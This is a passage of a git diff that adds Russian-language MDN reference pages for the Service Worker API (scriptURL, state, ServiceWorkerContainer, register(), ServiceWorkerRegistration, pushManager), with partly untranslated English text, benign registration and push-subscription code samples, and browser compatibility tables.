+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.onstatechange")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html
new file mode 100644
index 0000000000..c01cb6c968
--- /dev/null
+++ b/files/ru/web/api/serviceworker/scripturl/index.html
@@ -0,0 +1,46 @@
+---
+title: ServiceWorker.scriptURL
+slug: Web/API/ServiceWorker/scriptURL
+translation_of: Web/API/ServiceWorker/scriptURL
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">someURL = ServiceWorker.scriptURL
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("USVString")}} (см. <a href="http://heycam.github.io/webidl/#idl-USVString">WebIDL-определение USVString</a>.)</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">TBD</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-url', 'scriptURL')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.scriptURL")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworker/state/index.html b/files/ru/web/api/serviceworker/state/index.html
new file mode 100644
index 0000000000..19133ae4c1
--- /dev/null
+++ b/files/ru/web/api/serviceworker/state/index.html
@@ -0,0 +1,65 @@
+---
+title: ServiceWorker.state
+slug: Web/API/ServiceWorker/state
+translation_of: Web/API/ServiceWorker/state
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Свойство интерфейса {{domxref("ServiceWorker")}} <strong><code>state</code></strong>, доступное только для чтения является строкой, показывающей текущее состояние данного Service Worker. Его возможные значения: <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code> и <code>redundant</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>someURL</em> = <em>ServiceWorker</em>.state
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Определение {{domxref("ServiceWorkerState")}} (<a href="http://slightlyoff.github.io/ServiceWorker/spec/service_worker/#service-worker-state-enum">см. спецификацию</a>)</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Это фрагмент кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html" rel="noopener">примера событий Service Worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/" rel="noopener">демо</a>). Данный код возвращает значение <a href="https://wiki.developer.mozilla.org/ru/docs/Web/API/ServiceWorker/state" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>ServiceWorker.state</code></a> при каждом изменении состояния.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-state', 'state')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.state")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworkercontainer/controller/index.html b/files/ru/web/api/serviceworkercontainer/controller/index.html
new file mode 100644
index 0000000000..066edb858b
--- /dev/null
+++ b/files/ru/web/api/serviceworkercontainer/controller/index.html
@@ -0,0 +1,55 @@
+---
+title: ServiceWorkerContainer.controller
+slug: Web/API/ServiceWorkerContainer/controller
+translation_of: Web/API/ServiceWorkerContainer/controller
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">Свойство <strong><code>controller</code></strong> интерфейса {{domxref("ServiceWorkerContainer")}} возвращает объект {{domxref("ServiceWorker")}}, в случае, если service worker активирован. Данное свойство возвращает <code>null</code>, если страница была обновлена с помощью <em>Shift</em> + refresh или на ней отсутствует активный service worker.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var myController = navigator.serviceWorker.controller;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("ServiceWorker")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  // Проверяем, находится ли данная страница под управлением service worker.
+  if (navigator.serviceWorker.controller) {
+    console.log(`Эта страница сейчас контролируется ${navigator.serviceWorker.controller}`);
+  } else {
+    console.log('Эта страница не контролируется service worker.');
+  }
+} else {
+  console.log('Данный браузер не поддерживает Service Worker API.');
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#navigator-service-worker-controller', 'ServiceWorkerRegistration.controller')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerContainer.controller")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworkercontainer/index.html b/files/ru/web/api/serviceworkercontainer/index.html
new file mode 100644
index 0000000000..a8bf9f324e
--- /dev/null
+++ b/files/ru/web/api/serviceworkercontainer/index.html
@@ -0,0 +1,165 @@
+---
+title: ServiceWorkerContainer
+slug: Web/API/ServiceWorkerContainer
+tags:
+  - API
+  - Draft
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorkerContainer
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerContainer
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> предоставляет интерфейс <code>ServiceWorkerContainer</code>, являющийся объектом (объект предствляет собой сервис воркер, как единое целое в сетевой экосистеме) влючающим следующие средства:<br>
+ Регистрация;<br>
+ Отмена регистрации;<br>
+ Обновление сервис воркеров;<br>
+ Доступ к состоянию сервис воркеров;<br>
+ Доступ к регистрации сервис воркеров.</p>
+
+<p>Most importantly, it exposes the {{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register(scriptURL, scope[, base])")}} method used to register service workers, and the {{domxref("ServiceWorkerContainer.controller")}} property used to determine whether or not the current page is actively controlled.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorker")}} object if its state is <code>activated</code> (the same object returned by {{domxref("ServiceWorkerRegistration.active")}}). This property returns <code style="font-style: normal;">null</code> if the request is a force refresh (<em>Shift</em> + refresh) or if there is no active worker.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.ready")}} {{readonlyinline}}</dt>
+ <dd>Defines whether a service worker is ready to control a page or not. It returns a {{jsxref("Promise")}} that will never reject, which resolves to a {{domxref("ServiceWorkerRegistration")}} with an {{domxref("ServiceWorkerRegistration.active")}} worker.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.oncontrollerchange")}}</dt>
+ <dd>An event handler fired whenever a {{Event("controllerchange")}} event occurs — when the document's associated {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onerror")}}</dt>
+ <dd>An event handler fired whenever an {{Event("error")}} event occurs in the associated service workers.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onmessage")}}</dt>
+ <dd>An event handler fired whenever a {{Event("message")}} event occurs — when incoming messages are received to the {{domxref("ServiceWorkerContainer")}} object (e.g. via a {{domxref("MessagePort.postMessage()")}} call.)</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} </dt>
+ <dd>Creates or updates a {{domxref("ServiceWorkerRegistration")}} for the given <code>scriptURL</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistration()")}}</dt>
+ <dd>Gets a {{domxref("ServiceWorkerRegistration")}} object whose scope URL matches the provided document URL.  If the method can't return a {{domxref("ServiceWorkerRegistration")}}, it returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="text-decoration: underline;" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistrations()")}}</dt>
+ <dd>Returns all {{domxref("ServiceWorkerRegistration")}}s associated with a <code>ServiceWorkerContainer</code> in an array.  If the method can't return {{domxref("ServiceWorkerRegistration")}}s, it returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="text-decoration: underline;" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/fallback-response/index.html#L126">service worker fallback-response sample</a> (see <a href="http://googlechrome.github.io/samples/service-worker/fallback-response/">fallback-response live</a>). The code checks to see if the browser supports service workers. Then the code registers the service worker and determines if the page is actively controlled by the service worker. If it isn't, it prompts the user to reload the page so the service worker can take control. The code also reports any registration failures.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('service-worker.js', {scope: './'}).then(function() {
+    if (navigator.serviceWorker.controller) {
+      document.querySelector('#status').textContent = 'The service worker is currently handling network operations.';
+      showRequestButtons();
+    } else {
+      document.querySelector('#status').textContent = 'Please reload this page to allow the service worker to handle network operations.';
+    }
+  }).catch(function(error) {
+    document.querySelector('#status').textContent = error;
+  });
+} else {
+  var aElement = document.createElement('a');
+  aElement.href = 'http://www.chromium.org/blink/serviceworker/service-worker-faq';
+  aElement.textContent = 'unavailable';
+  document.querySelector('#status').appendChild(aElement);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html
new file mode 100644
index 0000000000..a885e08102
--- /dev/null
+++ b/files/ru/web/api/serviceworkercontainer/register/index.html
@@ -0,0 +1,140 @@
+---
+title: ServiceWorkerContainer.register()
+slug: Web/API/ServiceWorkerContainer/register
+translation_of: Web/API/ServiceWorkerContainer/register
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><strong><code>register()</code></strong> метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>  для указанного <code>URL js скрипта</code>.</p>
+
+<p>Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает <code>ServiceWorkerRegistration</code>, он возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">ServiceWorkerContainer.register(scriptURL, options)
+  .then(function(ServiceWorkerRegistration) { ... });</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>scriptURL</code></dt>
+ <dd>URL скрипта service worker - а.</dd>
+ <dt><code>options</code> <code>{{optional_inline}}</code></dt>
+ <dd>Опции — это обьект  необходимый для регистрации service worker-a. В данный момент доступные опции:
+ <ul>
+  <li><code>scope</code>: {{domxref("USVString")}} представляет собой URL, который определяет scope service worker-a; Какой диапазон URL может контролировать service worker. Это обычно относительный URL. Значение по умолчанию — это URL,  который соответствует корню, т.е. './', используя дирректорию расположения js скрипта service worker-а как основу.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{domxref("Promise")}} который резолвится в {{domxref("ServiceWorkerRegistration")}} обьект.</p>
+
+<h2 id="Пример_использования">Пример использования</h2>
+
+<p>Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.</p>
+
+<p>Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать <code>example.com/index.html</code> и страницы, расположенные "глубже", например <code>example.com/product/description.html</code>.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // Регистрация service worker-а, расположенного в корне сайта
+  // за счет использования дефолтного scope (не указывая его)
+  navigator.serviceWorker.register('/sw.js').then(function(registration) {
+    console.log('Service worker зарегистрирован:', registration);
+  }).catch(function(error) {
+    console.log('Ошибка при регистрации service worker-а:', error);
+  });
+} else {
+  // Текущий браузер не поддерживает service worker-ы.
+  console.log('Текущий браузер не поддерживает service worker-ы');
+}</pre>
+
+<p>Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // Регистрация service worker-а, расположенного в корне сайта
+  // с указанием более строгого scope
+  navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) {
+    console.log('Service worker зарегистрирован:', registration);
+  }).catch(function(error) {
+    console.log('Ошибка при регистрации service worker-а:', error);
+  });
+} else {
+  console.log('Текущий браузер не поддерживает service worker-ы.');
+}</pre>
+
+
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Первичное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Использование Service worker ( и <a href="/en-US/docs/Web/API/Push_API">Push</a>) приостановлено в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
diff --git a/files/ru/web/api/serviceworkerregistration/index.html b/files/ru/web/api/serviceworkerregistration/index.html
new file mode 100644
index 0000000000..8daa8d7b98
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/index.html
@@ -0,0 +1,145 @@
+---
+title: ServiceWorkerRegistration
+slug: Web/API/ServiceWorkerRegistration
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerRegistration
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerRegistration
+---
+<div>
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+</div>
+
+<p><span class="seoSummary">Интерфейс <code>ServiceWorkerRegistration</code> ссылается на регистрацию Service Worker. Вы можете зарегистрировать Service Worker, чтобы контролировать одну или несколько страниц на одном домене.</span></p>
+
+<p>The lifetime of a service worker registration is beyond that of the <code>ServiceWorkerRegistration</code> objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active <code>ServiceWorkerRegistration</code> objects.</p>
+
+<div class="note">
+<p><strong>Эта функция доступна в</strong> <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Also implements properties from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}</dt>
+ <dd>Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.installing")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>installing</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.waiting")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>waiting</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.active")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is either <code>activating</code> or <code>activated</code>. This is initially set to <code>null</code>. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the <code>scope</code> option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}</dt>
+ <dd>Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.</dd>
+ <dt>{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.sync")}} <strong style="font-weight: bold; line-height: 19.0909080505371px;">{{non-standard_inline}} </strong>{{readonlyinline}} </dt>
+ <dd>Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}</dt>
+ <dd>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener" title="This method is called whenever an event occurs of the type for which the EventListener interface was registered."><code>EventListener</code></a> property called whenever an event of type <code>updatefound</code> is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Also implements methods from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.getNotifications()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.showNotification()")}}</dt>
+ <dd>Displays the notification with the requested title.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.update()")}}</dt>
+ <dd>Checks the server for an updated version of the service worker without consulting caches.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.unregister()")}}</dt>
+ <dd>Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and <code>updatefound</code> event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the <code>updatefound</code> event will not be fired.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Добавлено свойство {{domxref("PushManager","pushManager")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Добавлены методы {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} и {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Sync')}}</td>
+   <td>{{Spec2('Background Sync')}}</td>
+   <td>Добавлено свойство {{domxref("ServiceWorkerRegistration.sync","sync")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
new file mode 100644
index 0000000000..ceaa0bc41e
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
@@ -0,0 +1,72 @@
+---
+title: ServiceWorkerRegistration.pushManager
+slug: Web/API/ServiceWorkerRegistration/pushManager
+translation_of: Web/API/ServiceWorkerRegistration/pushManager
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>Свойство <strong><code>pushManager</code></strong> интерфейса {{domxref("ServiceWorkerRegistration")}} возвращает ссылку на интерфейс {{domxref("PushManager")}}, позволяющий управлять подписками на push-уведомления. Включает поддержку процедуры подписки, получения активной подписки, а также предоставляет доступ к стутусу разрешений на push-уведомления.</p>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Синтакс</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">myPushManager = ServiceWorker.pushManager
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("PushManager")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  // Отсюда можно записывать данные в IndexedDB, отправлять их в любое
+  // открытое окно, отображать уведомление и т. д.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // Детали push-подписки, требуемые сервером приложения,
+        // теперь доступны, и могут быть отправлены, к примеру,
+        // при помощи XMLHttpRequest.
+      }, function(error) {
+        // При разработке это часто помогает отлавливать ошибки в консоли.
+        // В продакшен-среде это также может быть полезно для отправки отчета
